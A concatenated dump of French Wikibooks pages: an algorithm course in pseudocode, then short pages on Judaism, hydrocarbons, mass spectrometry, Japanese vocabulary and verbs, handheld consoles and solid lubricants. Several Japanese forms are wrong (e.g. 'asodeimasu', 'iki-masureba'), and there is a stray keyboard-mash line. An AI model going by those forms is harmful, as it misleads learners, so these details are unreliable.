faire si b=0 alors ecrire "impossible de diviser par 0" sinon si op='m' alors ecrire "le reste de la div de ",a," par ",b," = ",a mod b sinon ecrire a/b Fsi Fsi op='^' faire ecrire a^b autrement faire ecrire "operateur non valable" Fselon FBloc </pre> }} === Répétitive === [[image:AP_Bcl.gif]] *'''Tant que ''': tant que condition est vrai on entre dans la boucle ≡}Séquence D-TantQue TantQue [Cond vraie] Faire ≡}traitement FTant ≡}Séquence F-TantQue ex: Entrer b Tantque b=0 Faire Ecrire "erreur" Entrer b Ftant *'''Jusque ''': jusque condition est vrai on entre dans la boucle ≡}Séquence D-Jusque Jusque [Cond vraie] Faire ≡}traitement FTant ≡}Séquence F-Jusque ex: Entrer b Jusque b=0 Faire Ecrire "erreur" Entrer b FJusque *'''Pour ''': De valeur initiale à valeur finale on entre dans la boucle Pour [Var] De [val. init] A [val. fin] Pas [val] Faire ≡}traitement FPour <small>Pas : 1 par défaut, est la valeur d'incrementation - ex.: de 1 en 1 / de 5 en 5 -</small> ex: Pour x De 8 A 20 Pas 1 Faire Ecrire x FPour ====exercices==== <b>? Afficher table de multiplication de 8</b> {{Boîte déroulante|titre= :: solution :: |contenu = *Tantque: <pre> Bloc Const N=8 Var a:entier a<-0 Tantque a<=20 Faire Ecrire a*N a<-a+1 FTant FBloc </pre> *Jusque: <pre> Bloc Const N=8 Var a:entier a<-0 Jusque a>20 Faire Ecrire a*N a<-a+1 FJusque FBloc </pre> *Pour: <pre> Bloc Var a:entier Pour a DE 0 A 20 Faire Ecrire a*8 FPour FBloc </pre> }} <b>? Calcul de somme, moyenne, min, max d'une serie de nombres introduits au clavier. Valeur 0 indiquant la fin de la serie.</b> {{Boîte déroulante|titre= :: solution :: |contenu = <pre> Bloc Var nb,cpt,somme,max,min:entier cpt<-0 ecrire "veuillez entrer un nombre (0 pour stop)" entrer nb somme<-nb max<-nb min<-nb tantque nb<>0 faire cpt<-cpt+1 ecrire "introduire le nbr suivant" entrer nb somme<-somme+nb si max<nb et nb<>0 Alors max<-nb fsi si min>nb et nb<>0 alors min<-nb fsi ftant si cpt<>0 alors ecrire "somme ", somme ecrire "moyenne ",somme*1.0/cpt ecrire "max ",max ecrire "min ",min sinon ecrire "pas de resultat à afficher" fsi FBloc </pre> }} <b>? Etablir un tableau reprenant la liste des nombres entre 1 et 20, leur exposant 2 et 3.</b> {{Boîte déroulante|titre= :: solution :: |contenu = <pre> Bloc Var a:entier Pour a de 1 a 20 Faire ecrire a," ",a^2," ",a^3 FPour FBloc </pre> }} ==LES STRUCTURES COMPOSEES== ===Structures consecutives=== [[image:AP_StCns.gif]] * En LDA: <pre> !Double alternative! ≡} D-Trait Si c1 Alors ≡} T1 Sinon ≡} T2 FSi ≡}I-Trait !(Fin de 1er Si) et (Debut de 2e Si)! Si c2 Alors ≡} T3 Sinon ≡} T4 FSi ≡} F-Trait </pre> <pre> !Double repetitive! ≡} D-Trait Tantque c1 Faire ≡} T1 FTant ≡} I-Trait Jusque c2 Faire ≡} T2 FJusque ≡} F-Trait </pre> <pre> !Alternative suivant repetitive! ≡} D-Trait Jusque c1 Faire ≡} T1 FJusque ≡}I-Trait Si c2 Alors ≡} T2 Sinon ≡} T1 FSi ≡} F-Trait </pre> ===Structures imbriquées=== [[image:AP_StImb.gif]] *En LDA: <pre> ! Repetitive de repetitive ! ≡} D-Trait Tantque c1 Faire ≡} D-T1 Tantque c2 Faire ≡} T2 FTant ≡} F-T1 FTant ≡} F-Trait </pre> <pre> ! Repetitive d'alternative ! ≡} D-Trait Si c1 Alors ≡} T1 Sinon ≡} D-T2 Tantque c2 Faire ≡} T3 FTant ≡} F-T2 FSi ≡} F-T </pre> <pre> ! Alternative de repetitive ! ≡} D-Trait Tantque c1 Faire ≡} D-T1 Si c2 Alors ≡} T2 Sinon ≡} T3 FSi ≡} F-T1 FTant ≡} F-Trait </pre> ===Structures multiples=== [[image:AP_StMul.gif]] *En LDA: <pre> ≡} D-Trait Tantque c1 Faire ≡} D-T1 Si c3 Alors ≡} D-T4 Tantque c5 Faire ≡} T7 FTant ≡} F-T4 Sinon ≡} T5 FSi ≡} F-T1 FTant ≡} I1 Si c2 Alors ≡} T2 Sinon ≡} D-T3 Tantque c4 Faire ≡} D-T6 FTant ≡} F-T3 FSi ≡} F-Trait </pre> ===exercices=== <b>? Additionner tous les nombres pairs entre 2 nombres introduits par l'utilisateur</b> {{Boîte déroulante|titre= :: solution :: |contenu = <pre> BLOC Var nb1,nb2,somme,cpt:entier ecrire "input de 2 nombres" entrer nb1,nb2 si nb1>nb2 alors somme<-nb1 nb1<-nb2 nb2<-somme fsi si nb1 mod 2 <> 0 alors nb1<-nb1+1 fsi somme<-0 pour cpt de nb1 a nb2 pas 2 faire somme<-somme+cpt fpour ecrire "somme ",somme FBLOC </pre> }} <b>? Afficher tous les diviseurs d'un nombre introduit par l'utilisateur</b> ==LES TABLEAUX== ==LES SOUS-PROGRAMMES== ==LA RECURSIVITE== ==LES TRIS== ==LES ENREGISTREMENTS== ghjghjn thjtyh tyhtg tyhty tytyj ==LES POINTEURS== ===Les listes à simple chaînage=== ===Les listes à double chaînage=== ===Les arbres binaires=== ==LES FICHIERS== ==Liens externes== :http://www.ac-nancy-metz.fr/eco-gestion/eric_crepin/accueil.htm :http://www-id.imag.fr/Laboratoire/Membres/Legrand_Arnaud//Teaching/Algo-DEUG-02/Cours/node1.html Judaïsme 5070 22914 2005-10-13T10:14:27Z Greudin 1 reformul, Le [[w:judaïsme|judaïsme]] est la plus ancienne des religions de la [[s:Bible|Bible]]. <!-- N'hésitez pas à participer à ce projet. --> Liste des textes fondamentaux du [[w:judaïsme|judaïsme]] : ==La Mishna== La ''Mishna'' ou ''Mishnah'' ('''משנה''' en hébreu) est un texte rabbinique compilant la loi orale (par opposition à la loi écrite, c'est-à-dire la Torah). [[s:Mishnah|Le texte et sa traduction]] ==Le Mishne Torah== Le ''Mishne Torah'' ('''משנה תורה''' en hébreu) est un texte rédigé par Rabbenou Moshe ben Maïmon (appelé plus généralement Rambam). Il se base sur le texte de la Mishnah et en tire une Halakhah (en hébreu: "loi; jurisprudence"), c'est-à-dire la règle qui convient à suivre. [[s:Mishne Torah|Le texte et sa traduction]] [[catégorie:religion]] Chimie organique Hydrocarbures 5071 19807 2005-08-22T12:44:45Z 81.53.4.40 /* Formules brutes */ [[ca:Hidrocarbur]] [[da:Kulbrinte]] [[de:Kohlenwasserstoffe]] [[en:Hydrocarbon]] [[es:Hidrocarburo]] [[id:Hidrokarbon]] [[it:Idrocarburi]] [[he:פחמימן]] [[lv:Ogļūdeņraži]] [[ms:Hidrokarbon]] [[nl:Koolwaterstof]] [[ja:炭化水素]] [[pl:Węglowodór]] [[pt:Hidrocarboneto]] [[ru:Углеводороды]] [[su:Hidrokarbon]] [[fi:Hiilivety]] [[sv:Kolväte]] [[vi:Hyđrocacbon]] [[tr:Hidrokarbon]] [[zh:烃]] [[catégorie:Chimie]] Un '''hydrocarbure''' est un composé organique contenant exclusivement des atomes de carbone ('''C''') et d'hydrogène ('''H'''). Ils possèdent en conséquence une formule brute de type : C<sub>n</sub>H<sub>m</sub>, où n et m sont deux entiers naturels. ==Classification== On peut distinguer les hydrocarbures saturés (les alcanes) des hydrocarbures possédant une ou plusieurs insaturations (les alcènes, les alcynes, et les composés aromatiques). On peut également faire la distinction entre les hydrocarbures linéaires ou ramifiés. ==Formules brutes== Les hydrocarbures '''saturés et linéaires''' possèdent la formule brute suivante: C<sub>n</sub>H<sub>(2n+2)</sub>, où n est un nombre entier naturel ( 0, 1, 2, 3, ...n) ==Nomenclature== Radical en fonction du nombre de carbones {| border="1" cellspacing="0" |----- ! Nombre de carbones ! Radical |----- | 1 || méth- |----- | 2 || ét- |----- | 3 || prop- |----- | 4 || but- |----- | 5 || pent- |----- | 6 || hex- |----- | 7 || hepta- |----- | 8 || oct- |----- | 9 || non- |----- | 10 || déc- |----- | 11 || undéc- |----- | 12 || dodéc- |----- | 13 || tridéc- |----- | 14 || tétradéc- |----- | 15 || pentadéc- |----- | 16 || hexadéc- |----- | 17 || heptadéc |----- | 18 || octodec- |----- | 19 || nondéc- |----- | 20 || eicos- |----- | 21 || heneicos- |----- | 22 || docos- |----- | 23 || tricos- |----- | 24 || tétracos- |----- | 25 || pentacos- |----- | 26 || hexacos- |----- | 27 || hetacos- |----- | 28 || octacos- |----- | 29 || nonacos- |----- | 30 || triacont- |----- | 31 || hentriacont- |----- | 32 || dotriacont- |} Voir aussi : Liste d´hydrocarbures saturés acycliques ==Préparations== Réactions de Wurtz et de Wurtz-Fittig Réaction de Wolff-Kischner Réduction de Clemmensen ==Remarque== On utilise aussi le mot hydrocarbure pour faire référence, en particulier, au pétrole et gaz naturel. == Liens externes == * [http://www.inrs.fr/inrs-pub/inrs01.nsf/IntranetObject-accesParIntranetID/OM:Document:DFD236F2DF34A44CC1256EF20035F8D8/$FILE/visu.html Les solvants pétroliers], un dossier de l'[[INRS]] [http://www.inrs.fr/] Spectrométrie de masse 5079 19816 2005-08-22T12:49:46Z 81.53.4.40 [[da:Massespektrometer]] [[de:Massenspektrometrie]] [[en:Mass spectrometry]] [[eo:Mas-spektrogramo]] [[ja:質量分析法]] [[nl:Massaspectrometrie]] [[ru:Масс-спектрометрия]] Un '''spectromètre de masse''' est un appareil capable de reconnaître des molécules, une sorte de « nez électronique ». Pour cela, il transforme des molécules en fragments projectiles (en les ionisant puis en les accélérant avec des champs électrique et champ magnétique) qui se déplaçant sous vide, et il déduit les masses des fragments à partir de leurs trajectoires. Un spectromètre comporte donc une cellule d'ionisation suivie d'un filtrage soit par temps de vol, soit par courbure de trajectoire, et finalement d'un « compteur » permettant de mesurer le spectre des masses des molécules issues du composé à analyser. En biologie, les molécules sont grosses et il faut donc les fractionner et trier les fragments en fonction de leurs masses, puis éventuellement de nouveau fractionner les fragments et en trier les fragments en fonction de leurs masses. Il commence à y avoir des spectromètres couplés avec des appareils d'électrophorèse. La spectrométrie de masse permet l’identification de molécules d’intérêt en en analysant les différents constituants. Après ionisation de la molécule, cette technique utilise les champs électriques et magnétiques afin de les classer en fonction de leur rapport masse (''M'')/charge (''z''). Le spectromètre de masse se compose de trois parties : * ''La source :'' où les molécules d’intérêt sont ionisées. En protéomique, seuls le MALDI (Matrix Assisted Laser Desorption Ionisation), le SELDI (Surface Enhanced Laser Desorption/Ionisation) et l’ESI (ElectroSpray Ionisation) sont utilisés. * ''L’analyseur :'' où les ions sont triés en fonction de leur rapport masse (M) / charge (z) par l’application d’un champ magnétique et/ou électrique. Sont utilisés (en protéomique ou ailleurs) : la trappe à ions (IT), le temps de vol (TOF), le quadrupôle (MS ou Q), les trappes d'ions linéaires (LIT, pour Linear Ion Traps). * ''Le détecteur et l’enregistreur :'' le détecteur collectera les ions qui arriveront à des temps différents en fonction de leur rapport M / z. L’enregistreur convertira les informations en spectre de masse. En comparant les spectres obtenus avec des spectres références, on peut déterminer la nature et la composition de la molécule recherchée. == Spectrométrie à temps de vol == La spectrométrie à temps de vol consiste à mesurer le temps que met un ion à parcourir une distance donnée, donc de déterminer sa vitesse. La vitesse permet de déterminer l'énergie cinétique, et si l'on connaît la charge, on peut déterminer la masse. En effet, l'énergie cinétique vaut :<math>E_c = \frac{1}{2} \cdot m \cdot v^2</math> ''m'' étant la masse et ''v'' la vitesse. Par ailleurs, un ion de charge ''z'' soumis a une tension accélératrice ''V'' gagne une énergie cinétique :<math>E_c = z \cdot e \cdot V</math> ''e'' étant la charge élémentaire. La masse et la charge sont des caractéristiques de l'ion qui permettent de déterminer sa nature avec peu d'ambiguité. == Spectrométrie à courbure de trajectoire == L'ion est éjecté dans un milieu dans lequel règne un champ magnétique uniforme perpendiculaire au plan de la trajectoire. Du fait de la force de Lorentz, la trajectoire se courbe, et le point d'impact de l'ion (donc sa déviation) permet de connaître sa masse à partir de la charge. Japonais:Vocabulaire Musique 5080 20451 2005-09-02T12:41:28Z Duarna 465 +modèle Retour à la [[Table des matières (Japonais)|table des matières]]. {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Musique absolue | [[wikipedia:ja:絶対音楽|絶対音楽]] | ぜったいおんがく | ''zetsutaiongaku'' |- | Aria | [[wikipedia:ja:詠唱|詠唱]] | えいしょう - アリア (ありあ)- | ''eishyō - aria'' |- | Canon | [[wikipedia:ja:輪唱曲|輪唱曲]] | りんしょうきょく | ''rinshyōkyoku'' |- | Choeur | [[wikipedia:ja:合唱|合唱]] | がっしょう | ''gatsushyō'' |- | Concerto | [[wikipedia:ja:協奏曲|協奏曲]] | きょうそうきょく | ''kyōsōkyoku'' |- | Conducteur | [[wikipedia:ja:指揮者|指揮者]] | しきしゃ | ''shikishya'' |- | Direction | [[wikipedia:ja:演出|演出]] | えんしゅつ | ''enshyutsu'' |- | Directeur/Producteur | [[wikipedia:ja:演出家|演出家]] | えんしゅつか | ''enshyutsuka'' |- | Harmonie | [[wikipedia:ja:和声|和声]] - [[wikipedia:ja:和声学|和声学]] - [[wikipedia:ja:和声法|和声法]] | わせい - わせいほう - わせいがく | ''wasei - waseihō - waseigaku'' |- | Muet | [[wikipedia:ja:弱音|弱音]] | じゃくおん | ''zyakuon'' |- | Naturel | [[wikipedia:ja:変音記号|変音記号]] | へんおんきごう | ''henonkigō'' |- | Orchestre | [[wikipedia:ja:管弦楽団|管弦楽団]] | かんげんがくだん | ''kangengakudan'' |- | Opéra | [[wikipedia:ja:歌劇|歌劇]] | かげき - オペラ (おぺら) | ''kageki - opera'' |- | Quartet (vocal) | [[wikipedia:ja:四重唱|四重唱]] (曲) | しじゅうしょう (きょく) | ''shizyuushyō (kyoku)'' |- | Quartet (instrumental) | [[wikipedia:ja:四重奏|四重奏]](曲) | しじゅうそう(きょく) | ''shizyuusō (kyoku)'' |- | Prélude | [[wikipedia:ja:前奏曲|前奏曲]] | ぜんそうきょく | ''zensōkyoku'' |- | Rhapsodie | [[wikipedia:ja:狂詩曲狂詩曲|狂詩曲狂詩曲]] | きょうしきょく | ''kyōshikyōku'' |- | Dièse | [[wikipedia:ja:嬰音|嬰音]] | えいおん | ''eion'' |- | Quartet string (anglais) (pièce) | [[wikipedia:ja:弦楽四重奏曲|弦楽四重奏曲]] | げんがくしじゅうそうきょく | ''gengakushizyuusōkyoku'' |- | Quartet string (anglais) (ensemble) | [[wikipedia:ja:弦楽四重奏団|弦楽四重奏団]] | げんがくしじゅうそうだん | ''gengakushizyuusōdan'' |- | Poème symphonique | [[wikipedia:ja:交響し|交響し]] | こうきょうし | ''kōkyoshi'' |- | Symphonie | [[wikipedia:ja:交響曲|交響曲]] | ... | ''...'' |- | Poème tone | [[wikipedia:ja:音詩|音詩]] | おんし | ''onshi'' |- | Trio (vocal) | [[wikipedia:ja:三重唱|三重唱]] (曲) | さんじゅうしょう(きょく) | ''sanzyuushyō (kyoku)'' |- | Trio (instrumental) | [[wikipedia:ja:三重奏|三重奏]] (曲) | さんじゅうそう(きょく) | ''sanzyuusō (kyoku)'' |- |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[en:Japanese:Vocabulary:Music]] [[Catégorie:Glossaires_de_Japonais]] Les consoles portables (Comment jouer aux jeux vidéo ?) 5083 24088 2005-10-23T17:08:23Z 81.57.178.60 <br> <h1>'''3. Les consoles portables'''</h1> <br> Les consoles portables comme leur nom l'indique sont faites pour être transportées. Les éléments les plus importants pour ce type de console sont les conditions atmosphériques et le lieu. Il faut y jouer le plus possible dehors dans un endroit calme et agréable, mais si le temps ne le permet pas, un lieux protégé réunissant les même conditions que pour une console de salon est acceptable. L'aspect le plus important de ces machines est de trouver une position adéquate pour ne pas se fatiguer et en changer régulièrement durant la partie surtout pour les écrans non-rétroéclairés. Pour certains types de jeux il faut faire attention à d'autres éléments (voir chapitres spécifiques). [[Table_des_matières_(Comment_jouer_aux_jeux_vidéo_%3F)|Retour a la table des matières]] Japonais:Leçon7 5084 23405 2005-10-16T11:34:30Z Duarna 465 +modèle {{En travaux}} [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon6|<< Leçon 6]] | Leçon 7 | [[Japonais:Leçon8|Leçon 8 >>]] = Leçon 7 = == Introduction == Un peu de grammaire pour exprimer une action en cours "... en train de ...". =Être en train de= Il y a un suffixe qui se met à la fin du verbe pour dire que l'action de ce verbe est encore en cours "te" et on rajoute "imasu" après. par exemple : *たべる (taberu)» たべています(tabeteimasu): être en train de manger. *あう (au)» あっています (atteimasu): être en train de rencontrer. *はたらく (hataraku)» はたらいています (hataraiteimasu): être en train de travailler. *のむ (nomu)» のんでいます (nondeimasu): être en train de boire. *あそぶ (asobu)» あそんでいます (asodeimasu): être en train de jouer. *しぬ (shinu)» しんでいます (shindeimasu): être en train de mourir. *まつ (matsu)» まっています (matteimasu): être en train d'attendre. *いく (iku)» いっています (itteimasu): être en train d'aller. À noter selon la terminaison des verbes une ou plusieurs lettres sont modifiées ou supprimées: *"ru" » supprimer. *"u" » remplacer par "t". *"ku" » remplacer par "i"sauf iku qui devient itte. *"mu" » remplacer par "n" et "te" devient "de". *"bu" » remplacer par "n" et "te" devient "de". *"nu" » remplacer par "n" et "te" devient "de". *"tsu" » remplacer par "t". Le verbe faire "する" (suru) devient "して" (shite) et le verbe venir "くる" (kuru) devient "きて" (kite) ; ils sont irréguliers La forme en "te" des verbes sert dans d'autres occasions. == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : *あなたはよんでいます: ... *だれはねています: ... Traduire en japonais (pas en romaji si possible) : *Je suis en train de voir: ... *Il est en train de marcher ?: ... = [[Image:Comiclogo.png|50 px|dialogue]] Dialogue = Regardons un peu le dialogue<br /> Essayons de voir un peu de vocabulaire = [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) = Traduire en français : Traduire en japonais : = [[image:あ_教科書体.png|50 px|Ecriture]] Écriture Japonaise = Maintenant que vous devez connaitre les hiragana apprennez les katakana et les kanji que vous voyez dans les leçons. = Fiche vocabulaire = *あう (au): rencontrer. *あそぶ (asobu): jouer. *しぬ (shinu): mourir. *まつ (matsu):attendre. [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon6|<< Leçon 6]] | Leçon 7 | [[Japonais:Leçon8|Leçon 8 >>]] {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Japonais:Verbes 5087 42598 2006-05-17T10:02:19Z 86.195.141.125 /* 五段 classe godan */ Retour à la [[Table des matières (Japonais)|table des matières]]. =Introduction= Les verbes en japonais ne se conjuguent pas selon la personne mais selon le temps et le niveau de politesse voulu. Ils se placent toujours à la fin de la phrase sauf en cas de particule spéciale. =Les types de verbes= On peut classer les verbes selon leurs terminaisons à l'infinitif: *-u :う      *-ku :く *-gu :ぐ *-su :す *-tsu :つ *-nu :ぬ *-bu :ぶ *-mu :む *-ru :る *plus les verbes irréguliers : suru : する ; kuru : くる =Les différentes terminaisons= Selon le temps et le niveau de politesse les verbes sont modifiés. Exemple des modifications sans niveau de politesse: ==五段 classe godan== '''godan''' signife 5 (五 ''go'') états (段 ''dan'') cette terminologie est utilisée en référence au 5 lignes de l'alphabet japonais [[http://fr.wikipedia.org/wiki/Hiragana]] [[http://fr.wikipedia.org/wiki/Image:Table_hiragana.jpg]] en effet on peut retenir la conjugaison de ces verbes en se rappelant qu'ils ont 5 formes 'a' 'i' 'u' 'e' 'o' * forme 'a' correspond a la forme du degré moins au négatif * forme 'i' correspond a la forme degré moyen présent * forme 'u' correspond a la forme du dictionaire (ou base) * forme 'e' correspond au imperatif/conditionel * forme 'o' correspond au volontaire (expression de l'intention de faire) pour comprendre la table suivante il faut se baser sur la colonne correspondant a la forme du dictionaire, mais pour garder un cohérence avec l'alphabet les colonnes sont organisée suivant l'ordre japonais. il est aussi intéressant ici de rajouter les formes en -te et -ta. {| border="1" ! 'a' !! 'i' !! 'u' !! 'e' (imperatif/cond)!! 'o' !! -te !! -ta !! exemple |------------------------------------------------------------------------------------------------------------------------------------------------ | -ku -> -kanai || -ku -> -kimasu || -ku || -ku -> -ke/kereba || -ku -> -kou || -ku -> -itte || -ku -> -itta || aruku |------------------------------------------------------------------------------------------------------------------------------------------------ | -gu -> -ganai || -gu -> -gimasu || -gu || -gu -> -ge/geba || -gu -> -gou || -gu -> -ide || -gu -> -ida || oyogu |------------------------------------------------------------------------------------------------------------------------------------------------ | -u -> -wanai || -u -> -imasu || -u || -u -> -e/eba || -u -> -ou || -u -> -tte || -u -> -tta || kau |------------------------------------------------------------------------------------------------------------------------------------------------ | -tsu -> -tanai || -tsu -> -chimasu || -tsu || -tsu-> -te/teba || -tsu -> -tou || -tsu -> -tte || -tsu -> -tta || matsu |------------------------------------------------------------------------------------------------------------------------------------------------ | -ru -> -ranai || -ru -> -rimasu || -ru || -ru -> -re/reba || -ru -> -rou || -ru -> -tte || -ru -> -tta || noru |------------------------------------------------------------------------------------------------------------------------------------------------ | -mu -> -manai || -mu -> -mimasu || -mu || -mu -> -me/meba || -mu -> -mou || -mu -> -nde || -mu -> -nda || sumu |------------------------------------------------------------------------------------------------------------------------------------------------ | -nu -> -nai || -nu -> -nimasu || -nu || -nu -> -ne/neba || -nu -> -nou || -nu -> -nde || -nu -> -nda || shinu |------------------------------------------------------------------------------------------------------------------------------------------------ | -bu -> -banai || -bu -> -bimasu || -bu || -bu -> -be/beba || -bu -> -bou || -bu -> -nde || -bu -> -nda || yobu |------------------------------------------------------------------------------------------------------------------------------------------------ | -su -> -sanai || -su -> -shimasu || -su || -su -> -se/seba || -su -> -sou || -su -> -shite || -su -> -shita || osu |} par exemple : {| border="1" <caption align="top"> '''話す ''hanasu'', "parler"''' </caption> ! Temps !! Kanji !! Hiragana (Romaji) !! terminaisons |-------------------------------------------------------------------------------------- |Présent - Infinitif ||話す ||はなす ''hanasu'' ||''hanas-u'' |-------------------------------------------------------------------------------------- |Passé ||話した ||はなした ''hanashita'' ||''hanas-ita'' &rarr; ''hanashita'' |-------------------------------------------------------------------------------------- |Présent négatif ||話さない ||はなさない''hanasanai'' ||''hanas-anai'' |-------------------------------------------------------------------------------------- |Passé négatif ||話さなかった ||はなさなかった''hanasanakatta'' ||''hanas-ana-katta'' |-------------------------------------------------------------------------------------- |Impératif ||話せ ||はなせ ''hanase'' ||''hanas-e'' |-------------------------------------------------------------------------------------- |Volontaire ||話そう ||はなそう ''hanasou'' ||''hanas-ou'' |------------------------------------------------------------------------------------- |Conjonctif ||話して ||はなして ''hanashite'' ||''hanas-ite'' &rarr; ''hanashite'' |--------------------------------------------------------------------------------------- |Conditionnel ||話せば ||はなせば ''hanaseba'' ||''hanas-eba'' |} ==一段 classe ichidan == ichidan (un etat) sont les verbes dont il suffit d'enlever le る (ru) en fin de de la forme du dictionaire (食べる ci dessous) pour le remplacer par la conjugaison correspondante. tous les verbes ichidan se terminent en eru ou iru mais un verbe se terminant en eru ou iru n'est pas forcément un verbe ichidan {| border="1" <caption align="top"> '''食べる ''taberu'' ("manger")''' </caption> ! Temps !! Kanji !! Hiragana (Romaji) !! terminaison |- |Présent -Infinitif |食べる |たべる ''taberu'' |''tabe-ru'' |- |Passé |食べた |たべた ''tabeta'' |''tabe-ta'' |- |Présent négatif |食べない |たべない''tabenai'' |''tabe-nai'' |- |Passé négatif |食べなかった |たべなかった''tabenakatta'' |''tabe-na-katta'' |- |Impératif |食べろ |たべろ ''tabero'' |''tabe-ro'' |- |Volontaire |食べよう |たべよう ''tabeyou'' |''tabe-you'' |- |Conjonctif |食べて |たべて ''tabete'' |''tabe-te'' |- |Conditionnel |食べれば |たべれば ''tabereba'' |''tabere-ba'' |} ==不規則 verbes irréguliers== {| border="1" <caption align="top"> '''する ''suru'' ("faire"), 来る ''kuru'' ("venir")''' </caption> ! Temps !! Hiragana !! Romaji |- |Infinitif - Présent |する, 来る |''suru'', ''kuru'' |- |Passé |した, 来た |''shita'', ''kita'' |- |Présent négatif |しない, こない |''shinai'', ''konai'' |- |Passé négatif |しなかった, こなかった |''shinakatta'', ''konakatta'' |- |Impératif |せよ or しろ, こい |''seyo'' or ''shiro'', ''koi'' |- |Volontaire |しよう, こよう |''shiyou'', ''koyou'' |- |Conjonctif |して, きて |''shite'', ''kite'' |- |Conditionel |すれば, くれば |''sureba'', ''kureba'' |} =La forme formelle= Le plus souvent les verbe sont employés avec un niveau de politesse, ce qui est une forme formelle. Ce n'est pas compliqué de mettre un verbe à un niveau de politesse : pour les verbes de la classe godan il faut changer la dernière syllabe en "i" (iku » iki-) et pour la classe ichidan il faut enlever le "-ru" (taberu » tabe-) puis rajouter le suffixe de politesse. Par exemple: * Présent: 行きます ''(iki-masu)'' * Passé: 行きました ''(iki-mashita)'' * Présent négatif: 行きません ''(iki-masen)'' * Passé négatif: 行きませんでした ''(iki-masen deshita)'' * Impératif: 行きませ ''(iki-mase)'' * Volontaire: 行きましょう ''(iki-mashou)'' * Conjonctif: 行きまして ''(iki-mashite)'' * Conditionel: 行きますれば ''(iki-masureba)''. =Verbes irréguliers (incomplet)= {| border="1" <caption align="top"> '''Verbe a la forme polie au conjunctif et à l'impératif''' </caption> ! Verbe !! forme en "ます ''masu'' " !! Impératif |- |くださる ''kudasaru'' |くださいます ''kudasaimasu'' |ください ''kudasai'' |- |なさる ''nasaru'' |なさいます ''nasaimasu'' |なさい ''nasai'' |- |いらっしゃる ''irassharu'' |いらっしゃいます ''irasshaimasu'' |いらっしゃい ''irasshai'' |- |おっしゃる ''ossharu'' |おっしゃいます ''osshaimasu'' |おっしゃい ''osshai'' |} {{Grammaire Japonaise}} [[catégorie:Grammaire Japonaise]] Tribologie - Lubrifiants solides et vernis 5088 43316 2006-05-27T19:57:18Z Jean-Jacques MILAN 114 /* Graphite */ compléments [[Catégorie:Tribologie]] [[Catégorie:Lubrifiant]] {{Tribologie}} ==Lubrifiants solides == === Propriétés fondamentales === Ces produits, d'origine naturelle ou synthétique, sont rarement utilisés tels quels mais surtout à l'état de suspension dans les graisses et les huiles. Quand ils sont dits purs, ils sont cependant presque toujours associés à un liant qui facilite leur adhésion ou leur mise en place directe par brunissage, sous forme de films secs épais de 5 à 15 micromètres. On utilise également leurs propriétés en les incorporant comme charges dans les polymères, ou dans des matrices métalliques frittées, ou encore dans des vernis de glissement. Les coefficients de frottement varient de 0,01 à 0,4 ; on ne recherche pas forcément des valeurs très basses et bien souvent on accepte des coefficients élevés, particulièrement à chaud, s'ils s'accompagnent d'une grande sécurité de fonctionnement. Un lubrifiant solide doit posséder les qualités suivantes : * capacité à former une couche adsorbée très adhérente, * faible dureté, car cette propriété est associée à une faible résistance au cisaillement, donc à un coefficient de frottement peu important, * structure lamellaire qui permet une orientation préférentielle et un clivage facile correspondant à la faible résistance au cisaillement (ce n'est pas vrai pour le graphite qui devient abrasif s'il est privé d'humidité). * point de fusion élevé et maintien de ses propriétés malgré les variations de température. * solubilité limitée dans les métaux, * inertie chimique aussi grande que possible pour ne pas attaquer les surfaces, * élasticité des films formés, * qualités anticorrosion, * constitution en particules de faible dimension, * grande pureté qui évite la présence de particules étrangères et plus particulièrement abrasives. Les lubrifiants solides sont devenus indispensables pour la lubrification, ils jouent un rôle essentiel pour la formation d'un troisième corps. Le graphite et le bisulfure de molybdène MoS<sub>2</sub>, tous deux d'origine naturelle, sont les lubrifiants solides les plus utilisés et les moins chers. On utilise aussi des produits synthétiques, qui ont tous une structure hexagonale : bisulfure de tungstène, nitrure de bore, biséléniures de tungstène, de molybdène et de niobium, iodure et bisulfure de titane. Le fluorure de graphite est semisynthétique et résulte de la fluoration du graphite. === Talc === Le talc, connu du grand public pour adoucir la peau, a depuis longtemps été utilisé dans de nombreux secteurs industriels : papier, peintures, plastiques, etc. Des applications nouvelles apparaissent, comme le revêtement de pièces métalliques soumises à de fortes contraintes. Trois laboratoires associés au CNRS en étudient actuellement les propriétés tribologiques de manière approfondie. Du point de vue chimique, il s'agit d'un silicate de magnésium naturel ; sa structure est constituée de feuillets faiblement liés et donc susceptibles de glisser facilement les uns par rapport aux autres. Par rapport au PTFE, au graphite ou à d'autres lubrifiants solides, il possède une excellente tenue aux températures élevées (950°C), une totale résistance à l'oxydation et il n'engendre aucune pollution. On cherche aujourd'hui à l'incorporer dans les revêtements de surface d'objets métalliques soumis à des frottements, de manière qu'il puisse être libéré dans l'interface des pièces frottantes ; il devrait en résulter une meilleure aptitude au glissement et une diminution de certaines formes d'usure comme la corrosion de contact. Un nouveau revêtement de surface à base de phosphore, de nickel et de talc a été breveté en 2004. Dans le domaine de la visserie aéronautique, il devrait remplacer les revêtements à base de cadmium et de chrome, qui sont très efficaces mais aussi très polluants. D'autres applications sont envisagées, en particulier pour la lubrification des roulements à billes et de certains assemblages rivetés. === Graphite === C'est une des quatre variétés allotropiques du carbone, de densité 2,25. Sa structure est un empilage de plaques formées d'hexagones réguliers pouvant glisser sous un effort très faible. Il est insoluble dans les solvants usuels, conducteur de la chaleur et de l'électricité (ce qui le rapproche des métaux, dont il se rapproche aussi par l'« éclat métallique »). Son point de fusion est très élevé (3550°C) et il fait preuve d'une grande neutralité chimique sauf avec les oxydants. Le graphite naturel est un produit noir, de contact graisseux, qui noircit les doigts. On le trouve dans les roches métamorphiques comme les schistes et sous forme de petits cristaux dans d'autres minéraux comme les marbres. On le trouve dans le commerce sous forme de paillettes contenant entre 90 et 95 % de carbone pur. Le graphite artificiel, obtenu à partir du pétrole, est beaucoup plus pur et communément constitué de 99,9 % de carbone. On s'en sert pour fabriquer des électrodes pour les piles électriques ou la métallurgie, des balais pour les moteurs électriques (charbons), des matériaux 